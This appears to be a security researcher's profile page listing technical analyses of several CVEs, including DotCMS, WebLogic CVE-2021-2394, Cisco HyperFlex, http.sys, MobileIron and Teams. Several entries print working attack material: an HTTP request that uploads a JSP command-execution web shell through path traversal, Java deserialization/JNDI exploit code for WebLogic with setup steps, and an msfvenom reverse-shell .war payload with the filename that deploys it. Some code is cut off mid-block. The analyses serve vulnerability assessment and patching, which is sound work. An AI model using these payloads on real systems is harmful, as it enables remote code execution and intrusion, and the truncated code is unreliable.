jheysel-r7 (34)

Last Login: September 20, 2022

jheysel-r7's Latest (7) Contributions

Sort by:
Filter by:
  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

The API used by DotCMS is vulnerable to an arbitrary file upload vulnerability which can lead to RCE. The /api/content/ endpoint allows for files to be uploaded to the tomcat server. The filename in versions prior to 22.03,, 21.06.7 is not sanitized and allows the attacker to drop a malicious .jsp file in the webroot of the tomcat server, which is accessible remotely.

PoC taken from the write up mentioned below:

POST /api/content/ HTTP/1.1
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 1085
Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
Connection: close

Content-Disposition: form-data; name="name"; filename="../../a.jsp"
Content-Type: text/plain

<%@ page import="java.util.*,java.io.*"%>
Commands with JSP
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    disr = dis.readLine();

The filename has been changed to work on windows and on linux irrespective of the relative install path of DotCMS.

This vulnerability is trivial to exploit and patching immediately is recommended.

The security research to find this vulnerability was performed by Hussein Daher and Shubham Shah and they have written a very nice detailed write up for more information.

Technical Analysis


On July 20, 2021 Oracle released their quarterly security advisory which describes a remote execution vulnerability in multiple versions of WebLogic Server. The vulnerability is assigned CVE-2021-2394 and NIST assigned it a critical CVSSv3 rating of 9.8. The vulnerability is accessible through IIOP, a protocol that WebLogic exposes to the internet by default, on port 7001.

Affected Products

WebLogic,,, and

Vulnerability Analysis

The vulnerability is the result of old ideas combined with new techniques . The first half of this vulnerability is similar to the exploitation path taken by CVE-2020-14825 (which is quite similar to it’s predecessor CVE-2020-14645). The second half of this vulnerability is similar to CVE-2020-14756. First, I’ll briefly outline the details of CVE-2020-14825 as many of the principles are the same

The PoC for CVE-2020-14825:

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;	
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.util.PriorityQueue;

public class CVE_2020_14825 {
    public static void main(String[] args) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("Timeline Sec");
//        accessor.setGetMethodName("connect");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);

        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));

        Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = jdbcRowSet;

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
//        readObject();

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
        } catch (Exception e) {

CVE-2020-14825 was patched by adding oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor and org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor to DEFAULT_BLACKLIST_CLASSES inside WebLogicFilterConfig.class which prevents these classes from being used to execute malicious code. (Quick note on CVE-2020-14645 mentioned above, it used com.tangosol.util.extractor.UniversalExtractor to execute code before that class was added to the blacklist in the same way LockVersionExtractor was blacklisted when patching CVE-2020-14825).

PoC for CVE-2021-2394:

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.*;
import java.lang.reflect.*;
import java.util.Hashtable;

public class CVE_2021_2394 {
    public static void main(String[] args) throws Exception {

        String ldapurl = null;
        String rhost = null;
        try {
            String ip = args[0];
            String port = args[1];
            ldapurl = args[2];
            rhost = String.format("iiop://%s:%s", ip, port);
        } catch (Exception e) {
            System.out.println("java -jar CVE_2021_2394.jar rhost rport ldapurl");
            System.out.println("java -jar CVE_2021_2394.jar 7001 ldap://");

        try {
            System.out.println("[*] Attacking...");
            MethodAttributeAccessor accessor = new MethodAttributeAccessor();
            accessor.setAttributeName("Timeline Sec");

            JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);

            FilterExtractor extractor = new FilterExtractor(accessor);
            FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

            SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
            AttributeHolder attributeHolder = new AttributeHolder();

            Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
            m_comparator.set(sortedBag, extractor);

            Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
            setInternalValue.invoke(attributeHolder, sortedBag);

//            Test locally:
//            FileOutputStream fileOutputStream = new FileOutputStream(new File("test.ser"));
//            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
//            objectOutputStream.writeObject(attributeHolder);
//            readObject();

            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", rhost);
            Context context = new InitialContext(env);

            context.rebind("Timeline Sec"+System.nanoTime(), attributeHolder);
        } catch (Exception e) {
            if (e.getMessage().equals("Unhandled exception in rebind()")){
                System.out.println("[*] 发包成功 请自行检查是否利用成功");
            }else {

    public static class TLSAttributeAccessor extends AttributeAccessor {

        public Object getAttributeValueFromObject(Object o) throws DescriptorException {
            return this.attributeName;

        public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
            this.attributeName = "Timeline Sec";

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(new File("").getAbsolutePath() + "/test.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
        } catch (Exception e) {

You’ll notice the two above PoCs are almost identical up until 14825 calls: LockVersionExtractor extractor = new LockVersionExtractor(accessor,""); which was blacklisted. Researchers were forced to find other means to execute code (note the game of cat and mouse/ blacklist and find another vulnerable class, played by Oracle and security researchers).

Enter FilterExtractor which resides in oracle.eclipselink.coherence.integrated.internal.querying and has the following method: readExternal
Screen Shot 2021-11-03 at 1 23 24 PM

If we follow the readAttributeAccessor method we see that when the parameter id = 1, a MethodAttributeAccessor object is returned. You may be thinking – but MethodAttributeAccessor was just added to the blacklist in the October 2020 Critical Patch Update and couldn’t be used to maliciously execute code. You’re correct but when the MethodAttributeAccessor object is returned by readAttributeAccessor, it doesn’t go through the deserialization process, avoids being caught by the blacklist and thus can still be used in exploitation.
Screen Shot 2021-11-03 at 1 37 13 PM

So MethodAttributeAccessor can still be used and gets assigned to this.attributeAccessor once returned from readAttributeAccessor. There’s no way found to bypass the blacklisting of LockVersionExtractor#Extract in which the initializeAttributes and getAttributeValueFromObject methods of the accessor are called. However none was needed as FilterExtractor#extract, shown below, effectively provides the same functionality:
Screen Shot 2021-11-03 at 2 23 10 PM

Calling FilterExtractor#extract will in turn invoke MethodAttributeAccessor#getAttributeValueFromObject. This method gets reflected by the implementation of the getMethod that gets passed anObject and parameters. Note anObject is attacker controlled while parameters will always be null which means only the no-argument method will be able to be called.
Screen Shot 2021-11-03 at 3 13 58 PM

If you’re familiar with previous WebLogic serialization exploits you’ll know JdbcRowSetImpl is a perfect candidate for an Object that will fit this use case while being able to be instantiated with a no-argument constructor.

Now all that needs to be done is to find a place to call FilterExtractor#readExternal first and then FilterExtractor#extract. This is where we can utilize ideas from CVE-2020-14756 in order to accomplish this.

Start off by using: 
The readExternal method does three things for us:

  1. It uses ExternalizableHelper#readObject to deserialize the comparator assignment to m_comparator.
  2. Then creates a map with m_comparator via PartialResult#instantiateInternalMap
  3. Then calls PartialResult#add to add the method to add the data to the map


If we follow the ExternalizableHelper#readObject, knowing that DataInput is not an instance of PInputStream, we know readObjectInternal gets called.



If the object implements the ExternalizableLite interface, the readExternalizableLite method will be called


Once called, it instantiates the object in the form of class loading and then calls the readExternal of the obtained object as seen above.

If we look at PartialResult#instantiateInternalMap we see users m_comparator to instantiate a TreeMap:


Now by following PartialResult#add we see super.add is called:


Which in this context is com.tangosol.util.SortedBag#add. This method gets the TreeMap that has just been instantiated and calls the put method to insert the data into the map:

TreeMap#put gets called in the above which class this.comparator#compare and finally AbstractExtractor#compare which calls the this.comparator#extract method:

And finally we see above that in the process of returning the SafeComparator, this.comparator#extract is called on the attacker-controlled object, and boom goes the dynamite.

Running the PoC

1. Environment Setup

As noted by the PoC PR, you need to ensure you test with a JDK lower than: 6u211, 7u201, 8u191 or 11.0.1 as LDAP restrictions have been put in place in the aforementioned JDKs to prevent exploitation. I found this tool from the QAX-A-TEAM’s github repository helpful for building the test environment. The tool allows you to build a specific version of weblogic with a specific JDK in a single command.

  • With Oracle credentials, download Oracle WebLogic Server – Generic
  • Unzip the file downloaded and place fmw_12. inside WeblogicEnvironment/weblogics
  • Again with Oracle credentials download jdk-8u121-linux-x64.tar.gz
  • Place the zipped file downloaded in WeblogicEnvironments/jdks
  • Build the image:
    docker build --no-cache --progress=plain --build-arg JDK_PKG=jdk-8u121-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12. -t weblogic_12 .
  • Run the container:
    docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic_12 weblogic_12

2. Enable local exploitation

The following article describes the network issues faced when attempting to run the PoC in a virtualized environment:

8.5. Summary of the problem
When requesting NameService from Weblogic through the IIOP protocol, Weblogic directly uses the local ip address as the bind address to construct the address information reply, the client resolves the address information, and directly accesses the address when bind, but the bind fails due to the inability to access the real intranet address .

The PoC is written for so rewriting the processing logic is slightly different though the principle is the same. WebLogic’s package structure in 12.x is much different than in 10.x. The tutorial above instructs to hard code the attacking IP in wlfullclient.jar!\weblogic\iiop\IOPProfile.class, although you may notice that class/ parent jar is non-existent in

If you run the PoC without making any changes to WebLogic you should see the following stack trace:

From which we deduce the issue likely resides in: weblogic.iiop.IORManager.locateNameService(IORManager.java:119) based on the problem summary above.
I found Recaf useful for editing the compiled java code above. Either download and compile from source or download one of the releases. Note it mentions if you run Recaf with java 8 there are a number of prerequisites that must be satisfied in order for it to run smoothly. To avoid this warning you can download the latest java 11 and run with it:

  • Copy the jar that IORManager.class resides in from the container to the host: docker cp weblogic_12:/u01/app/oracle/middleware/wlserver/modules/com.oracle.weblogic.iiop.jar ./
  • Start recaf with java 11:
    /home/msfuser/jdk-11.0.13/bin/java -jar recaf-2.21.3-J8-jar-with-dependencies.jar
  • Locate and open IORManager.class in classes/weblogic/iiop/IORManager.class and open it by double clicking:
    The highlighted line above is where weblogic gets the incorrect host address due to containerization and is the line that will need to be edited.
  • Right click method name createInitialReference and select Edit with assembler. Scroll down to where the parameters that are passed to IORManger.create start getting pushed onto the stack
  • Make the following changes in order to hardcode the IP address of the attacking machine:
  • Copy the edited jar back to the container: docker cp com.oracle.weblogic.iiop.jar weblogic_12:/u01/app/oracle/middleware/wlserver/modules/com.oracle.weblogic.iiop.jar

3. Setup LDAP server

For the LDAP server used for JNDI injection, the following github repository is quite useful. Build from source or download the release. Run the following command to start the server. Note the JDK 1.8 LDAP URL, as it needs to be passed to the exploit.


4. Run the PoC

Download the PoC and run the following command:

Note we no longer get the stack trace, instead non-English characters that Google translate’s to:

“The package is successfully issued, please check whether the use is successful”

Check the container’s tmp folder:
Note that the payload was successfully delivered.


Vuln Analysis

PoC Testing

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

CVE-2021-1499 is an unauthenticated file upload vulnerability in the Cisco HyperFlex HX Data Platform.

The vulnerability can be used to obtain RCE as the Tomcat user. Requests sent to the endpoint /upload do not require authentication by default, this allows us to upload a payload. Files sent to the upload endpoint are saved on disk in /var/www/localhost/images and are accessible via the endpoint/images, which hosts the file. We can’t execute payloads from /images as it maps to an nginx file server. Luckily the /upload endpoint lacks the necessary input sanitization to prevent us from writing anywhere the Tomcat User has write access. 

To obtain RCE first generate a .war payload: ./msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f war > crossdomain.xml.war

Set the file name to ../../../lib/tomcat7/webapps/crossdomain.xml.war when uploading and payload will end up in the tomcat web apps directory. Tomcat is set to hot deploy so it will deploy the malicious payload. We can tell hot deployment is on from line 76 & 77 of /etc/tomcat7/server.xml:

 76       <Host name="localhost"  appBase="webapps" deployOnStartup="true"
 77             autoDeploy="true" deployXML="true">

We name the file crossdomain.xml.war so when it gets uploaded and deployed the payload can then be accessed via /crossdomain.xml/<malicious_jspfile.jsp>.  

 location /crossdomain.xml
    auth_basic off;
    proxy_pass http://localhost:8000;
    allow all; # Allow all to see content

The above rule in the nginx configuration file, /etc/nginx/conf.d/springpath.conf allows requests to be sent to /crossdomain.xml without authentication and they get reverse proxied to the Tomcat server. The reverse proxy to Tomcat allows malicious .jsp files to be executed instead served like on the nginx endpoint /images .

  • Attacker Value
  • Exploitability
Technical Analysis

A crash proof-of-concept (PoC) has been released for CVE-2021-31166. Rapid7 researchers have confirmed its veracity. The vulnerability exists in the Windows http.sys driver, which is used to serve web requests. Windows Server 2004 and Windows Server 20H2, as well as Windows 10 20H2, are affected, as Windows 10 can be configured as a web server.

The PoC has been tested against a Windows 10 20H2 target. Verification of the PoC can replicated by following these steps:

  • Download the most recent version of Windows 10 here
  • Enable Internet Information Services in Windows Features
  • Ensure your version of Python has the requests package by running pip install requests or pip3 install requests
  • Run the PoC as described in the README: python cve-2021-31166.py --target=<IP_ADDRESS>

CVE-2021-31166 is a memory corruption vulnerability. Memory corruption vulnerabilities may lack reliability when exploited at scale. Out of 2020’s 50 most notable active and impending threats, only one memory corruption vulnerability, SMBGhost, was exploited at scale, and even that distinction was pretty dubious. The SMBGhost exploit was preferred by threat actors for only a couple months before being deprioritized in favor of Mimikatz and EternalBlue. It can only be speculated why that happened, though many would conclude that it was due to the reliability of the particular exploit. More info on SMBGhost threat actor analysis can be found here.

  • Attacker Value
    Very High
  • Exploitability
Technical Analysis

MobileIron CVE-2020-15505 is an ongoing threat, and government agencies in the U.S. and the UK have confirmed the vulnerability is being targeted by APTs groups.

Rapid7 research conducted by @wvu-r7 has confirmed that this CVE is the RCE mentioned in the blog post by Orange Tsai.

Users are encouraged to update as fast as possible.

Also see CVE-2020-15506 a MobileIron authentication bypass

Technical Analysis

Reasoning for low attacker value:
The web app is always up to date. The desktop client updates itself automatically. Teams checks for updates every few hours behind the scenes, downloads it, and then waits for the computer to be idle before silently installing the update, more info here

There is no supported way to prevent updates, more info here

The vulnerability itself is pretty bad, provided the attacker has local access to teams they can trigger RCE by a novel XSS injection in teams.microsoft.com that requires zero user interaction. However because Microsoft has made it quite difficult for users to stay on a vulnerable version, this makes it quite difficult for an attacker to get value out of the vulnerability. More info here

It also should be noted that the RCE gets triggered by the XSS injection that has to be sent through teams.microsoft.com – it is possible, though untested, that Microsoft has already patched this server side – not allowing the known XSS trigger to be pasted through to affected clients

It’s recommended you double check Microsoft Teams is up to date and auto updates are working as expected.

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

The exploit is readily available and quite easy to execute, I would advise prioritising the patching this of vulnerability asap